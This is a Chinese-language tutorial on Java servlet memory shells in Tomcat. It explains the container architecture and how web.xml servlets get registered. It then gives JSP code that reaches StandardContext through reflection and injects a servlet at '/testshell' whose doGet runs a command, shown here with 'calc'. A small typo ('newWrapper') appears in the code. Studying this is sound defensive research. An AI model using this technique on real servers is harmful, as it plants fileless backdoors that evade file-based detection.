内存马(Memory Shellcode)是一种恶意代码,通常被用来利用软件或系统的漏洞,执行未经授权的操作。传统的webshell是基于文件的,需要有文件的持久化才能达到控制服务器的目的;而内存马是通过在内存中写入后门和木马,达到无文件控制Web服务器的目的。
Java的内存马有很多种,这篇文档主要研究servlet内存马的原理。
传统的文件型webshell在现有的防御措施下容易被发现,当前主流的安全防范措施对于文件型的检出率已经能够达到百分之九十以上
传统的webshell防御措施:
(1)终端:文件监控
(2)后门:流量监控
(3)网络:禁止外联
Servlet 是一种用于开发 Web 应用程序的 Java 技术。Servlet 主要用于在服务器端处理客户端的请求,并生成响应返回给客户端。Servlet 通常用于创建动态的 Web 内容,比如动态网页、Web 表单处理、文件上传等。
Tomcat 是一个小型的轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选,因为Tomcat 技术先进、性能稳定,成为目前比较流行的Web 应用服务器。
Tomcat可以简单理解为http服务器+servlet容器。
Connector接受请求并将其封装后交给Container(容器),Container处理后再将返回情况交给Connector发送返回的响应。一个Service有多个Connector,但只有一个Container。
Container:Tomcat 中用于管理 Web 应用程序的组件,负责处理connector封装好的客户请求并将其路由到对应的 Servlet 或 JSP 等组件进行处理。
Container中有四个关键组件,分别是Engine、Host、Context和Wapper,这四个组件是父子关系,Tomcat通过这种分层的架构,以实现更灵活和可扩展的 Web 应用程序管理。
Engine:表示可运行的Catalina的servlet引擎实例,并且包含了servlet容器的核心功能。其主要功能是将请求委托传入合适的Host。一个Service只有一个Engine。
Host:代表一个虚拟主机,或者说站点。负责运行该主机下的多个应用一个Engine下可以有多个站点。
Context:一个Context代表了一个Web应用。
Wrapper:表示一个Servlet,一个Context中有多个Wrapper。Wrapper是容器中的最底层,不再有子容器。
servlet的主要功能是动态地产生Web页面,可以简单的理解为访问一个路由url就会映射到一个对应的servlet。所以可以通过控制servlet的创建,达到在内存中注入恶意木马的目的。
web.xml是Java Web应用程序的部署描述文件,其中包含了一些重要的配置信息,包括Servlet的映射、URL 模式、Servlet 类名等。Servlet 的创建过程通常需要在 web.xml 文件中进行配置,以便容器能够正确地加载和初始化 Servlet。所以,可以重点关注web.xml的解析逻辑,通过传入的参数创建一个指定功能的servlet。
tomcat的工作流程参考:https://blog.csdn.net/u010883443/article/details/107463782
configureContext就是解析web.xml后注册Wrapper的地方
往下就可以看到创建Wrapper的具体流程。核心的处理流程就是对于context对象的方法的调用与操作。
(1)创建Wrapper对象;
(2)配置Wrapper对象,LoadOnStartUp、servletName、ServletClass;
(3)将配置完的Wrapper添加到StandardContext 中(context.addChild(wrapper));
(4)添加servlet对应的url映射(对应web.xml中的)。
for (ServletDef servlet : webxml.getServlets().values()) {
Wrapper wrapper = context.createWrapper();
if (servlet.getLoadOnStartup() != null) {
wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
}
if (servlet.getEnabled() != null) {
wrapper.setEnabled(servlet.getEnabled().booleanValue());
}
wrapper.setName(servlet.getServletName());
Map<String,String> params = servlet.getParameterMap();
for (Entry<String, String> entry : params.entrySet()) {
wrapper.addInitParameter(entry.getKey(), entry.getValue());
}
wrapper.setRunAs(servlet.getRunAs());
Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
for (SecurityRoleRef roleRef : roleRefs) {
wrapper.addSecurityReference(
roleRef.getName(), roleRef.getLink());
}
wrapper.setServletClass(servlet.getServletClass());
MultipartDef multipartdef = servlet.getMultipartDef();
if (multipartdef != null) {
long maxFileSize = -1;
long maxRequestSize = -1;
int fileSizeThreshold = 0;
if(null != multipartdef.getMaxFileSize()) {
maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
}
if(null != multipartdef.getMaxRequestSize()) {
maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
}
if(null != multipartdef.getFileSizeThreshold()) {
fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
}
wrapper.setMultipartConfigElement(new MultipartConfigElement(
multipartdef.getLocation(),
maxFileSize,
maxRequestSize,
fileSizeThreshold));
}
if (servlet.getAsyncSupported() != null) {
wrapper.setAsyncSupported(
servlet.getAsyncSupported().booleanValue());
}
wrapper.setOverridable(servlet.isOverridable());
context.addChild(wrapper);
}
for (Entry<String, String> entry :
webxml.getServletMappings().entrySet()) {
context.addServletMappingDecoded(entry.getKey(), entry.getValue());
}
经过以上操作,servlet就被注册到context中了,但是由于Tomcat Servlet的懒加载机制,服务器只有在需要时才会加载和初始化Servlet。
经过监听servlet的建立过程发现StandardContext中的loadOnStartup可以加载servlet。这里会有if判断loadOnStartup的值是否大于0,servlet通过该配置判断容器是否需要在启动时加载这个servlet。
但是loadOnStartup显示的值为-1,loadOnStartup是通过web.xml中的1标签指定的。但是我们注入的内存马没有配置web.xml,因此不会在应用启动时加载这个servlet。
但是可以通过反射将其修改为1。
HelloServlet.java
package com.example;
import org.apache.catalina.core.StandardContext;
import java.io.*;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
public class HelloServlet extends HttpServlet {
private String message;
public void init() {
message = "Hello Servlet!";
}
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
response.setContentType("text/html");
//hello
PrintWriter out = response.getWriter();
out.println("<html><body>");
out.println("<h1>"+message+"</h1>");
out.println("</html></body>");
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
this.doGet(request, response);
}
public void destroy(){
}
}
web.xml
<servlet>
<servlet-name>HelloServlet</servlet-name>
<servlet-class>com.example.HelloServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>HelloServlet</servlet-name>
<url-pattern>/hello-servlet</url-pattern>
</servlet-mapping>
首先在doGet方法中实现恶意类。
<%!
public class HelloServlet extends HttpServlet {
private String message;
public void init() {
message = "Hello Servlet!";
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
Runtime.getRuntime().exec("calc");
}
public void doPost(HttpServletRequest request, HttpServletResponse response) throws IOException {
this.doGet(request, response);
}
public void destroy() {
}
}
%>
request -> servletcontext -> applicationcontext -> standardcontext
ServletContext servletContext = request.getServletContext();
Field applicationField = servletContext.getClass().getDeclaredField("context");
applicationField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationField.get(servletContext);
Field StandardField = applicationContext.getClass().getDeclaredField("context");
StandardField.setAccessible(true);
StandardContext context = (StandardContext) StandardField.get(applicationContext);
更简单的获取StandardContext方法
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext stdcontext = (StandardContext) req.getContext();
%>
模仿上面总结的创建Wrapper流程,手动注册一个servlet
Wrapper wrapper = context.createWrapper();//创建一个Wrapper对象
wrapper.setName("neWrapper");//设置Servlet的Name
wrapper.setServletClass(HelloServlet.class.getName());//设置Servlet对应的Class
newWrapper.setLoadOnStartup(1);//反射修改loadOnStartup
wrapper.setServlet(new HelloServlet());//实例化
context.addChild(wrapper); //将其放入context
context.addServletMappingDecoded("/testshell","neWrapper");//url映射
成功写入内存马。